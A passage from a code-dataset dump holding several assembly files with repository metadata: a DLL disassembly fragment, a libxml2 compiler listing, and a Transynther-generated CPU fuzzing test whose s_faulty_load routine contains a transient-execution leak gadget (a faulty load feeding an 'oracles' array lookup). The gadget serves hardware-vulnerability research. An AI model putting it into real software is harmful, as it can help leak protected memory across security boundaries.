03 jae 0x1000c9d4 1000c9d1: 33 f6 xor esi,esi 1000c9d3: 46 inc esi 1000c9d4: 85 f6 test esi,esi 1000c9d6: 89 58 04 mov DWORD PTR [eax+0x4],ebx 1000c9d9: 74 03 je 0x1000c9de 1000c9db: ff 40 08 inc DWORD PTR [eax+0x8] 1000c9de: 8b 4d f8 mov ecx,DWORD PTR [ebp-0x8] 1000c9e1: 01 48 08 add DWORD PTR [eax+0x8],ecx 1000c9e4: 83 65 ec 00 and DWORD PTR [ebp-0x14],0x0 1000c9e8: 8d 0c 3f lea ecx,[edi+edi*1] 1000c9eb: 8b d7 mov edx,edi 1000c9ed: c1 ea 1f shr edx,0x1f 1000c9f0: 8d 3c 1b lea edi,[ebx+ebx*1] 1000c9f3: 0b fa or edi,edx 1000c9f5: 8b 50 08 mov edx,DWORD PTR [eax+0x8] 1000c9f8: 8b f3 mov esi,ebx 1000c9fa: c1 ee 1f shr esi,0x1f 1000c9fd: 8d 1c 12 lea ebx,[edx+edx*1] 1000ca00: 8b 55 08 mov edx,DWORD PTR [ebp+0x8] 1000ca03: 0b de or ebx,esi 1000ca05: 89 08 mov DWORD PTR [eax],ecx 1000ca07: 89 78 04 mov DWORD PTR [eax+0x4],edi 1000ca0a: 89 58 08 mov DWORD PTR [eax+0x8],ebx 1000ca0d: 0f be 12 movsx edx,BYTE PTR [edx] 1000ca10: 8d 34 11 lea esi,[ecx+edx*1] 1000ca13: 3b f1 cmp esi,ecx 1000ca15: 89 55 f0 mov DWORD PTR [ebp-0x10],edx 1000ca18: 72 04 jb 0x1000ca1e 1000ca1a: 3b f2 cmp esi,edx 1000ca1c: 73 07 jae 0x1000ca25 1000ca1e: c7 45 ec 01 00 00 00 mov DWORD PTR [ebp-0x14],0x1 1000ca25: 83 7d ec 00 cmp DWORD PTR [ebp-0x14],0x0 1000ca29: 89 30 mov DWORD PTR [eax],esi 1000ca2b: 74 1c je 0x1000ca49 1000ca2d: 8d 4f 01 lea ecx,[edi+0x1] 1000ca30: 33 d2 xor edx,edx 1000ca32: 3b cf cmp ecx,edi 1000ca34: 72 05 jb 0x1000ca3b 1000ca36: 83 f9 01 cmp ecx,0x1 1000ca39: 73 03 jae 0x1000ca3e 1000ca3b: 33 d2 xor edx,edx 1000ca3d: 42 inc edx 1000ca3e: 85 d2 test edx,edx 1000ca40: 89 48 04 mov DWORD PTR [eax+0x4],ecx 1000ca43: 74 04 je 0x1000ca49 1000ca45: 43 inc ebx 1000ca46: 89 58 08 mov DWORD PTR [eax+0x8],ebx 1000ca49: ff 4d 0c dec DWORD PTR [ebp+0xc] 1000ca4c: ff 45 08 inc DWORD PTR [ebp+0x8] 1000ca4f: 83 7d 0c 00 cmp DWORD PTR [ebp+0xc],0x0 1000ca53: 0f 87 e4 fe ff ff ja 0x1000c93d 1000ca59: 33 f6 xor esi,esi 1000ca5b: eb 26 jmp 0x1000ca83 1000ca5d: 8b 48 04 mov ecx,DWORD PTR [eax+0x4] 1000ca60: 8b d1 mov edx,ecx 1000ca62: c1 ea 10 shr edx,0x10 1000ca65: 89 50 08 mov DWORD PTR [eax+0x8],edx 1000ca68: 8b 10 mov edx,DWORD PTR [eax] 1000ca6a: 8b fa mov edi,edx 1000ca6c: c1 e1 10 shl ecx,0x10 1000ca6f: c1 ef 10 shr edi,0x10 1000ca72: 0b cf or ecx,edi 1000ca74: c1 e2 10 shl edx,0x10 1000ca77: 81 45 e8 f0 ff 00 00 add DWORD PTR [ebp-0x18],0xfff0 1000ca7e: 89 48 04 mov DWORD PTR [eax+0x4],ecx 1000ca81: 89 10 mov DWORD PTR [eax],edx 1000ca83: 39 70 08 cmp DWORD PTR [eax+0x8],esi 1000ca86: 74 d5 je 0x1000ca5d 1000ca88: bb 00 80 00 00 mov ebx,0x8000 1000ca8d: 85 58 08 test DWORD PTR [eax+0x8],ebx 1000ca90: 75 30 jne 0x1000cac2 1000ca92: 8b 30 mov esi,DWORD PTR [eax] 1000ca94: 8b 78 04 mov edi,DWORD PTR [eax+0x4] 1000ca97: 81 45 e8 ff ff 00 00 add DWORD PTR [ebp-0x18],0xffff 1000ca9e: 8b ce mov ecx,esi 1000caa0: 03 f6 add esi,esi 1000caa2: c1 e9 1f shr ecx,0x1f 1000caa5: 89 30 mov DWORD PTR [eax],esi 1000caa7: 8d 34 3f lea esi,[edi+edi*1] 1000caaa: 0b f1 or esi,ecx 1000caac: 8b 48 08 mov ecx,DWORD PTR [eax+0x8] 1000caaf: 8b d7 mov edx,edi 1000cab1: c1 ea 1f shr edx,0x1f 1000cab4: 03 c9 add ecx,ecx 1000cab6: 0b ca or ecx,edx 1000cab8: 85 cb test ebx,ecx 1000caba: 89 70 04 mov DWORD PTR [eax+0x4],esi 1000cabd: 89 48 08 mov DWORD PTR [eax+0x8],ecx 1000cac0: 74 d0 je 0x1000ca92 1000cac2: 66 8b 4d e8 mov cx,WORD PTR [ebp-0x18] 1000cac6: 66 89 48 0a mov WORD PTR [eax+0xa],cx 1000caca: 8b 4d fc mov ecx,DWORD PTR [ebp-0x4] 1000cacd: 5f pop edi 1000cace: 5e pop esi 1000cacf: 33 cd xor ecx,ebp 1000cad1: 5b pop ebx 1000cad2: e8 44 70 ff ff call 0x10003b1b 1000cad7: c9 leave 1000cad8: c3 ret 1000cad9: 6a 08 push 0x8 1000cadb: 68 48 e6 00 10 push 0x1000e648 1000cae0: e8 43 8d ff ff call 0x10005828 1000cae5: 33 c0 xor eax,eax 1000cae7: 39 05 f8 5d 01 10 cmp DWORD PTR ds:0x10015df8,eax 1000caed: 74 56 je 0x1000cb45 1000caef: f6 45 08 40 test BYTE PTR [ebp+0x8],0x40 1000caf3: 74 48 je 0x1000cb3d 1000caf5: 39 05 74 0f 01 10 cmp DWORD PTR ds:0x10010f74,eax 1000cafb: 74 40 je 0x1000cb3d 1000cafd: 89 45 fc mov DWORD PTR [ebp-0x4],eax 1000cb00: 0f ae 55 08 ldmxcsr DWORD PTR [ebp+0x8] 1000cb04: eb 2e jmp 0x1000cb34 1000cb06: 8b 45 ec mov eax,DWORD PTR [ebp-0x14] 1000cb09: 8b 00 mov eax,DWORD PTR [eax] 1000cb0b: 8b 00 mov eax,DWORD PTR [eax] 1000cb0d: 3d 05 00 00 c0 cmp eax,0xc0000005 1000cb12: 74 0a je 0x1000cb1e 1000cb14: 3d 1d 00 00 c0 cmp eax,0xc000001d 1000cb19: 74 03 je 0x1000cb1e 1000cb1b: 33 c0 xor eax,eax 1000cb1d: c3 ret 1000cb1e: 33 c0 xor eax,eax 1000cb20: 40 inc eax 1000cb21: c3 ret 1000cb22: 8b 65 e8 mov esp,DWORD PTR [ebp-0x18] 1000cb25: 83 25 74 0f 01 10 00 and DWORD PTR ds:0x10010f74,0x0 1000cb2c: 83 65 08 bf and DWORD PTR [ebp+0x8],0xffffffbf 1000cb30: 0f ae 55 08 ldmxcsr DWORD PTR [ebp+0x8] 1000cb34: c7 45 fc fe ff ff ff mov DWORD PTR [ebp-0x4],0xfffffffe 1000cb3b: eb 08 jmp 0x1000cb45 1000cb3d: 83 65 08 bf and DWORD PTR [ebp+0x8],0xffffffbf 1000cb41: 0f ae 55 08 ldmxcsr DWORD PTR [ebp+0x8] 1000cb45: e8 23 8d ff ff call 0x1000586d 1000cb4a: c3 ret 1000cb4b: cc int3 1000cb4c: cc int3 1000cb4d: cc int3 1000cb4e: cc int3 1000cb4f: cc int3
52.522634
76
0.503095
2bea9ac072f9e65805bb1d1a5496c89e53c0c4d8
3,217
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2_notsx.log_1_95.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2_notsx.log_1_95.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2_notsx.log_1_95.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r9 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x179ae, %rbx xor %rdx, %rdx movb $0x61, (%rbx) nop nop nop nop sub %rcx, %rcx lea addresses_WT_ht+0xc8e, %r13 nop nop nop xor %rsi, %rsi mov $0x6162636465666768, %r12 movq %r12, %xmm5 and $0xffffffffffffffc0, %r13 movntdq %xmm5, (%r13) nop nop nop xor $10423, %r9 lea addresses_UC_ht+0x15b6e, %r12 nop nop nop add %rdx, %rdx mov $0x6162636465666768, %rsi movq %rsi, (%r12) nop nop nop nop nop add %r12, %r12 lea addresses_normal_ht+0x105ae, %rsi lea addresses_D_ht+0x22c8, %rdi nop nop cmp %rbx, %rbx mov $88, %rcx rep movsl nop nop nop nop xor $10007, %rbx lea addresses_normal_ht+0x17aae, %r9 nop cmp %rdx, %rdx mov (%r9), %r12d nop nop nop nop dec %r12 lea addresses_D_ht+0x6198, %rdx nop nop nop inc %r12 mov $0x6162636465666768, %rbx movq %rbx, (%rdx) nop nop nop nop xor %rdi, %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r9 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r8 push %r9 push %rax push %rbp push %rcx // Store mov $0x6e56ad00000002f0, %r12 and %rax, %rax mov $0x5152535455565758, %rbp movq %rbp, %xmm1 movups %xmm1, (%r12) nop nop nop add $43246, %rcx // Store mov $0x5a099b00000005e6, %r12 clflush (%r12) sub $35074, %r8 movb $0x51, (%r12) nop nop nop nop nop dec %rbp // Store lea addresses_normal+0x25f, %rax nop dec %r11 mov $0x5152535455565758, %rcx movq %rcx, (%rax) nop nop add %rax, %rax // Faulty Load lea addresses_A+0x9aae, %rax nop nop nop sub $56343, %rbp mov (%rax), %r12w lea oracles, %r11 and $0xff, %r12 shlq $12, %r12 mov (%r11,%r12,1), %r12 pop %rcx pop %rbp pop %rax pop %r9 pop %r8 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': True, 'congruent': 4, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'00': 1} 00 */
18.923529
151
0.649984
eb9199e236d9c1629528790ba6df2e667ec325fc
13,930
asm
Assembly
win32/VC10/Win32/libxml2_Release/xlink.asm
txwizard/libxml2_x64_and_ARM
bc19a931370a09ee379d641a7c9a862fecebff3b
[ "MIT" ]
null
null
null
win32/VC10/Win32/libxml2_Release/xlink.asm
txwizard/libxml2_x64_and_ARM
bc19a931370a09ee379d641a7c9a862fecebff3b
[ "MIT" ]
null
null
null
win32/VC10/Win32/libxml2_Release/xlink.asm
txwizard/libxml2_x64_and_ARM
bc19a931370a09ee379d641a7c9a862fecebff3b
[ "MIT" ]
null
null
null
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.16.27027.1 TITLE C:\Users\DAG\Documents\_Clients\CodeProject Authors Group\Windows on ARM\libxml2\libxml2-2.9.9\xlink.c .686P .XMM include listing.inc .model flat INCLUDELIB MSVCRT INCLUDELIB OLDNAMES _DATA SEGMENT COMM _forbiddenExp:DWORD COMM _emptyExp:DWORD COMM _xmlMalloc:DWORD COMM _xmlMallocAtomic:DWORD COMM _xmlRealloc:DWORD COMM _xmlFree:DWORD COMM _xmlMemStrdup:DWORD _DATA ENDS msvcjmc SEGMENT __188180DA_corecrt_math@h DB 01H __2CC6E67D_corecrt_stdio_config@h DB 01H __05476D76_corecrt_wstdio@h DB 01H __A452D4A0_stdio@h DB 01H __4384A2D9_corecrt_memcpy_s@h DB 01H __4E51A221_corecrt_wstring@h DB 01H __2140C079_string@h DB 01H __7B7A869E_ctype@h DB 01H __A40A425D_stat@h DB 01H __457DD326_basetsd@h DB 01H __1887E595_winnt@h DB 01H __9FC7C64B_processthreadsapi@h DB 01H __FA470AEC_memoryapi@h DB 01H __F37DAFF1_winerror@h DB 01H __7A450CCC_winbase@h DB 01H __B4B40122_winioctl@h DB 01H __86261D59_stralign@h DB 01H __E43CAA02_xlink@c DB 01H msvcjmc ENDS PUBLIC ___local_stdio_printf_options PUBLIC _snprintf PUBLIC _xlinkGetDefaultDetect PUBLIC _xlinkSetDefaultDetect PUBLIC _xlinkGetDefaultHandler PUBLIC _xlinkSetDefaultHandler PUBLIC _xlinkIsLink PUBLIC __JustMyCode_Default PUBLIC ??_C@_0BO@DIGPEIDG@http?3?1?1www?4w3?4org?11999?1xhtml?1@ ; `string' PUBLIC ??_C@_0CI@PBGMGCJI@http?3?1?1www?4w3?4org?11999?1xlink?1na@ ; `string' PUBLIC ??_C@_04GPMDFGEJ@type@ ; `string' PUBLIC ??_C@_06MDDCAKGD@simple@ ; `string' PUBLIC ??_C@_08ONGCMBFO@extended@ ; `string' PUBLIC ??_C@_04IAMNPBLO@role@ ; `string' PUBLIC ??_C@_0BH@MHEJCPPK@xlink?3external?9linkset@ ; `string' PUBLIC ??_C@_0BE@NPIDLLNF@?$CFs?3external?9linkset@ ; `string' EXTRN _xmlStrEqual:PROC EXTRN __imp____stdio_common_vsprintf:PROC EXTRN _xmlSearchNs:PROC EXTRN _xmlGetNsProp:PROC EXTRN @__CheckForDebuggerJustMyCode@4:PROC _DATA SEGMENT COMM ?_OptionsStorage@?1??__local_stdio_printf_options@@9@9:QWORD ; `__local_stdio_printf_options'::`2'::_OptionsStorage _DATA ENDS _BSS SEGMENT _xlinkDefaultHandler DD 01H DUP (?) _xlinkDefaultDetect DD 01H DUP (?) _BSS ENDS ; COMDAT ??_C@_0BE@NPIDLLNF@?$CFs?3external?9linkset@ CONST SEGMENT ??_C@_0BE@NPIDLLNF@?$CFs?3external?9linkset@ DB '%s:external-linkset', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BH@MHEJCPPK@xlink?3external?9linkset@ CONST SEGMENT ??_C@_0BH@MHEJCPPK@xlink?3external?9linkset@ DB 'xlink:external-linkset', 00H ; `string' CONST ENDS ; COMDAT ??_C@_04IAMNPBLO@role@ CONST SEGMENT ??_C@_04IAMNPBLO@role@ DB 'role', 00H ; `string' CONST ENDS ; COMDAT ??_C@_08ONGCMBFO@extended@ CONST SEGMENT ??_C@_08ONGCMBFO@extended@ DB 'extended', 00H ; `string' CONST ENDS ; COMDAT ??_C@_06MDDCAKGD@simple@ CONST SEGMENT ??_C@_06MDDCAKGD@simple@ DB 'simple', 00H ; `string' CONST ENDS ; COMDAT ??_C@_04GPMDFGEJ@type@ CONST SEGMENT ??_C@_04GPMDFGEJ@type@ DB 'type', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CI@PBGMGCJI@http?3?1?1www?4w3?4org?11999?1xlink?1na@ CONST SEGMENT ??_C@_0CI@PBGMGCJI@http?3?1?1www?4w3?4org?11999?1xlink?1na@ DB 'http://ww' DB 'w.w3.org/1999/xlink/namespace/', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BO@DIGPEIDG@http?3?1?1www?4w3?4org?11999?1xhtml?1@ CONST SEGMENT ??_C@_0BO@DIGPEIDG@http?3?1?1www?4w3?4org?11999?1xhtml?1@ DB 'http://www.' DB 'w3.org/1999/xhtml/', 00H ; `string' CONST ENDS ; Function compile flags: /Odt ; COMDAT __JustMyCode_Default _TEXT SEGMENT __JustMyCode_Default PROC ; COMDAT push ebp mov ebp, esp pop ebp ret 0 __JustMyCode_Default ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xlink.c ; COMDAT _xlinkIsLink _TEXT SEGMENT _buf$1 = -204 ; size = 200 _ret$1$ = -4 ; size = 4 _doc$ = 8 ; size = 4 _type$1$ = 12 ; size = 4 _node$ = 12 ; size = 4 _xlinkIsLink PROC ; COMDAT ; 123 : xlinkIsLink (xmlDocPtr doc, xmlNodePtr node) { push ebp mov ebp, esp sub esp, 204 ; 000000ccH push esi push edi mov ecx, OFFSET __E43CAA02_xlink@c call @__CheckForDebuggerJustMyCode@4 mov edi, DWORD PTR _node$[ebp] xor esi, esi mov DWORD PTR _ret$1$[ebp], esi test edi, edi jne SHORT $LN2@xlinkIsLin ; 124 : xmlChar *type = NULL, *role = NULL; ; 125 : xlinkType ret = XLINK_TYPE_NONE; ; 126 : ; 127 : if (node == NULL) return(XLINK_TYPE_NONE); pop edi xor eax, eax ; 180 : } pop esi mov esp, ebp pop ebp ret 0 $LN2@xlinkIsLin: push ebx ; 128 : if (doc == NULL) doc = node->doc; mov ebx, DWORD PTR _doc$[ebp] test ebx, ebx jne SHORT $LN19@xlinkIsLin mov ebx, DWORD PTR [edi+32] ; 129 : if ((doc != NULL) && (doc->type == XML_HTML_DOCUMENT_NODE)) { test ebx, ebx je SHORT $LN4@xlinkIsLin $LN19@xlinkIsLin: cmp DWORD PTR [ebx+4], 13 ; 0000000dH je SHORT $LN6@xlinkIsLin $LN4@xlinkIsLin: ; 130 : /* ; 131 : * This is an HTML document. ; 132 : */ ; 133 : } else if ((node->ns != NULL) && mov eax, DWORD PTR [edi+36] test eax, eax je SHORT $LN6@xlinkIsLin push OFFSET ??_C@_0BO@DIGPEIDG@http?3?1?1www?4w3?4org?11999?1xhtml?1@ push DWORD PTR [eax+8] call _xmlStrEqual add esp, 8 $LN6@xlinkIsLin: ; 134 : (xmlStrEqual(node->ns->href, XHTML_NAMESPACE))) { ; 135 : /* ; 136 : * !!!! We really need an IS_XHTML_ELEMENT function from HTMLtree.h @@@ ; 137 : */ ; 138 : /* ; 139 : * This is an XHTML element within an XML document ; 140 : * Check whether it's one of the element able to carry links ; 141 : * and in that case if it holds the attributes. ; 142 : */ ; 143 : } ; 144 : ; 145 : /* ; 146 : * We don't prevent a-priori having XML Linking constructs on ; 147 : * XHTML elements ; 148 : */ ; 149 : type = xmlGetNsProp(node, BAD_CAST"type", XLINK_NAMESPACE); push OFFSET ??_C@_0CI@PBGMGCJI@http?3?1?1www?4w3?4org?11999?1xlink?1na@ push OFFSET ??_C@_04GPMDFGEJ@type@ push edi call _xmlGetNsProp add esp, 12 ; 0000000cH mov DWORD PTR _type$1$[ebp], eax ; 150 : if (type != NULL) { test eax, eax je $LN17@xlinkIsLin ; 151 : if (xmlStrEqual(type, BAD_CAST "simple")) { push OFFSET ??_C@_06MDDCAKGD@simple@ push eax call _xmlStrEqual add esp, 8 test eax, eax je SHORT $LN8@xlinkIsLin ; 152 : ret = XLINK_TYPE_SIMPLE; mov DWORD PTR _ret$1$[ebp], 1 jmp $LN10@xlinkIsLin $LN8@xlinkIsLin: ; 153 : } else if (xmlStrEqual(type, BAD_CAST "extended")) { push OFFSET ??_C@_08ONGCMBFO@extended@ push DWORD PTR _type$1$[ebp] call _xmlStrEqual add esp, 8 test eax, eax je SHORT $LN10@xlinkIsLin ; 154 : role = xmlGetNsProp(node, BAD_CAST "role", XLINK_NAMESPACE); push OFFSET ??_C@_0CI@PBGMGCJI@http?3?1?1www?4w3?4org?11999?1xlink?1na@ push OFFSET ??_C@_04IAMNPBLO@role@ push edi call _xmlGetNsProp mov esi, eax add esp, 12 ; 0000000cH ; 155 : if (role != NULL) { test esi, esi je SHORT $LN15@xlinkIsLin ; 156 : xmlNsPtr xlink; ; 157 : xlink = xmlSearchNs(doc, node, XLINK_NAMESPACE); push OFFSET ??_C@_0CI@PBGMGCJI@http?3?1?1www?4w3?4org?11999?1xlink?1na@ push edi push ebx call _xmlSearchNs add esp, 12 ; 0000000cH ; 158 : if (xlink == NULL) { test eax, eax jne SHORT $LN12@xlinkIsLin ; 159 : /* Humm, fallback method */ ; 160 : if (xmlStrEqual(role, BAD_CAST"xlink:external-linkset")) push OFFSET ??_C@_0BH@MHEJCPPK@xlink?3external?9linkset@ push esi call _xmlStrEqual add esp, 8 ; 161 : ret = XLINK_TYPE_EXTENDED_SET; ; 162 : } else { jmp SHORT $LN15@xlinkIsLin $LN12@xlinkIsLin: ; 163 : xmlChar buf[200]; ; 164 : snprintf((char *) buf, sizeof(buf), "%s:external-linkset", push DWORD PTR [eax+12] lea eax, DWORD PTR _buf$1[ebp] push OFFSET ??_C@_0BE@NPIDLLNF@?$CFs?3external?9linkset@ push 200 ; 000000c8H push eax call _snprintf ; 165 : (char *) xlink->prefix); ; 166 : buf[sizeof(buf) - 1] = 0; ; 167 : if (xmlStrEqual(role, buf)) lea eax, DWORD PTR _buf$1[ebp] mov BYTE PTR _buf$1[ebp+199], 0 push eax push esi call _xmlStrEqual add esp, 24 ; 00000018H $LN15@xlinkIsLin: ; 168 : ret = XLINK_TYPE_EXTENDED_SET; ; 169 : ; 170 : } ; 171 : ; 172 : } ; 173 : ret = XLINK_TYPE_EXTENDED; mov DWORD PTR _ret$1$[ebp], 2 $LN10@xlinkIsLin: ; 174 : } ; 175 : } ; 176 : ; 177 : if (type != NULL) xmlFree(type); push DWORD PTR _type$1$[ebp] call DWORD PTR _xmlFree add esp, 4 ; 178 : if (role != NULL) xmlFree(role); test esi, esi je SHORT $LN17@xlinkIsLin push esi call DWORD PTR _xmlFree add esp, 4 $LN17@xlinkIsLin: ; 179 : return(ret); mov eax, DWORD PTR _ret$1$[ebp] pop ebx pop edi ; 180 : } pop esi mov esp, ebp pop ebp ret 0 _xlinkIsLink ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xlink.c ; COMDAT _xlinkSetDefaultHandler _TEXT SEGMENT _handler$ = 8 ; size = 4 _xlinkSetDefaultHandler PROC ; COMDAT ; 74 : xlinkSetDefaultHandler(xlinkHandlerPtr handler) { push ebp mov ebp, esp mov ecx, OFFSET __E43CAA02_xlink@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _handler$[ebp] mov DWORD PTR _xlinkDefaultHandler, eax ; 75 : xlinkDefaultHandler = handler; ; 76 : } pop ebp ret 0 _xlinkSetDefaultHandler ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xlink.c ; COMDAT _xlinkGetDefaultHandler _TEXT SEGMENT _xlinkGetDefaultHandler PROC ; COMDAT mov ecx, OFFSET __E43CAA02_xlink@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _xlinkDefaultHandler ret 0 _xlinkGetDefaultHandler ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xlink.c ; COMDAT _xlinkSetDefaultDetect _TEXT SEGMENT _func$ = 8 ; size = 4 _xlinkSetDefaultDetect PROC ; COMDAT ; 97 : xlinkSetDefaultDetect (xlinkNodeDetectFunc func) { push ebp mov ebp, esp mov ecx, OFFSET __E43CAA02_xlink@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _func$[ebp] mov DWORD PTR _xlinkDefaultDetect, eax ; 98 : xlinkDefaultDetect = func; ; 99 : } pop ebp ret 0 _xlinkSetDefaultDetect ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xlink.c ; COMDAT _xlinkGetDefaultDetect _TEXT SEGMENT _xlinkGetDefaultDetect PROC ; COMDAT mov ecx, OFFSET __E43CAA02_xlink@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _xlinkDefaultDetect ret 0 _xlinkGetDefaultDetect ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\program files (x86)\windows kits\10\include\10.0.17763.0\ucrt\stdio.h ; COMDAT _snprintf _TEXT SEGMENT __Buffer$ = 8 ; size = 4 __BufferCount$ = 12 ; size = 4 __Format$ = 16 ; size = 4 _snprintf PROC ; COMDAT ; 1948 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __A452D4A0_stdio@h call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR __Format$[ebp] ; 1440 : int const _Result = __stdio_common_vsprintf( call ___local_stdio_printf_options lea ecx, DWORD PTR __Format$[ebp+4] push ecx push 0 mov ecx, DWORD PTR [eax] push esi push DWORD PTR __BufferCount$[ebp] or ecx, 2 push DWORD PTR __Buffer$[ebp] push DWORD PTR [eax+4] push ecx call DWORD PTR __imp____stdio_common_vsprintf add esp, 28 ; 0000001cH ; 1441 : _CRT_INTERNAL_LOCAL_PRINTF_OPTIONS | _CRT_INTERNAL_PRINTF_STANDARD_SNPRINTF_BEHAVIOR, ; 1442 : _Buffer, _BufferCount, _Format, NULL, _ArgList); ; 1443 : ; 1444 : return _Result < 0 ? -1 : _Result; or ecx, -1 test eax, eax cmovs eax, ecx ; 1949 : int _Result; ; 1950 : va_list _ArgList; ; 1951 : __crt_va_start(_ArgList, _Format); ; 1952 : #pragma warning(suppress:28719) // 28719 ; 1953 : _Result = vsnprintf(_Buffer, _BufferCount, _Format, _ArgList); ; 1954 : __crt_va_end(_ArgList); ; 1955 : return _Result; pop esi ; 1956 : } pop ebp ret 0 _snprintf ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\program files (x86)\windows kits\10\include\10.0.17763.0\ucrt\stdio.h ; COMDAT _vsnprintf _TEXT SEGMENT __Buffer$ = 8 ; size = 4 __BufferCount$ = 12 ; size = 4 __Format$ = 16 ; size = 4 __ArgList$ = 20 ; size = 4 _vsnprintf PROC ; COMDAT ; 1439 : { push ebp mov ebp, esp mov ecx, OFFSET __A452D4A0_stdio@h call @__CheckForDebuggerJustMyCode@4 call ___local_stdio_printf_options push DWORD PTR __ArgList$[ebp] mov ecx, eax push 0 push DWORD PTR __Format$[ebp] push DWORD PTR __BufferCount$[ebp] mov eax, DWORD PTR [ecx] push DWORD PTR __Buffer$[ebp] or eax, 2 push DWORD PTR [ecx+4] push eax call DWORD PTR __imp____stdio_common_vsprintf or ecx, -1 add esp, 28 ; 0000001cH test eax, eax cmovs eax, ecx ; 1440 : int const _Result = __stdio_common_vsprintf( ; 1441 : _CRT_INTERNAL_LOCAL_PRINTF_OPTIONS | _CRT_INTERNAL_PRINTF_STANDARD_SNPRINTF_BEHAVIOR, ; 1442 : _Buffer, _BufferCount, _Format, NULL, _ArgList); ; 1443 : ; 1444 : return _Result < 0 ? -1 : _Result; ; 1445 : } pop ebp ret 0 _vsnprintf ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\program files (x86)\windows kits\10\include\10.0.17763.0\ucrt\corecrt_stdio_config.h ; COMDAT ___local_stdio_printf_options _TEXT SEGMENT ___local_stdio_printf_options PROC ; COMDAT mov ecx, OFFSET __2CC6E67D_corecrt_stdio_config@h call @__CheckForDebuggerJustMyCode@4 mov eax, OFFSET ?_OptionsStorage@?1??__local_stdio_printf_options@@9@9 ; `__local_stdio_printf_options'::`2'::_OptionsStorage ret 0 ___local_stdio_printf_options ENDP _TEXT ENDS END
26.382576
126
0.706461
40ef548128ad7904f1a08dbc02cf182f340d145c
3,986
asm
Assembly
Sistemas_Digitales/lab01/Lab1.asm
AntiDesert5/Ingenieria-en-Computacion-UAEM
02b5713ccd3752566d50d0d16fc7719a00d382f4
[ "MIT" ]
1
2021-08-16T19:44:08.000Z
2021-08-16T19:44:08.000Z
Sistemas_Digitales/lab01/Lab1.asm
AntiDesert5/Ingenieria-en-Computacion-UAEM
02b5713ccd3752566d50d0d16fc7719a00d382f4
[ "MIT" ]
null
null
null
Sistemas_Digitales/lab01/Lab1.asm
AntiDesert5/Ingenieria-en-Computacion-UAEM
02b5713ccd3752566d50d0d16fc7719a00d382f4
[ "MIT" ]
null
null
null
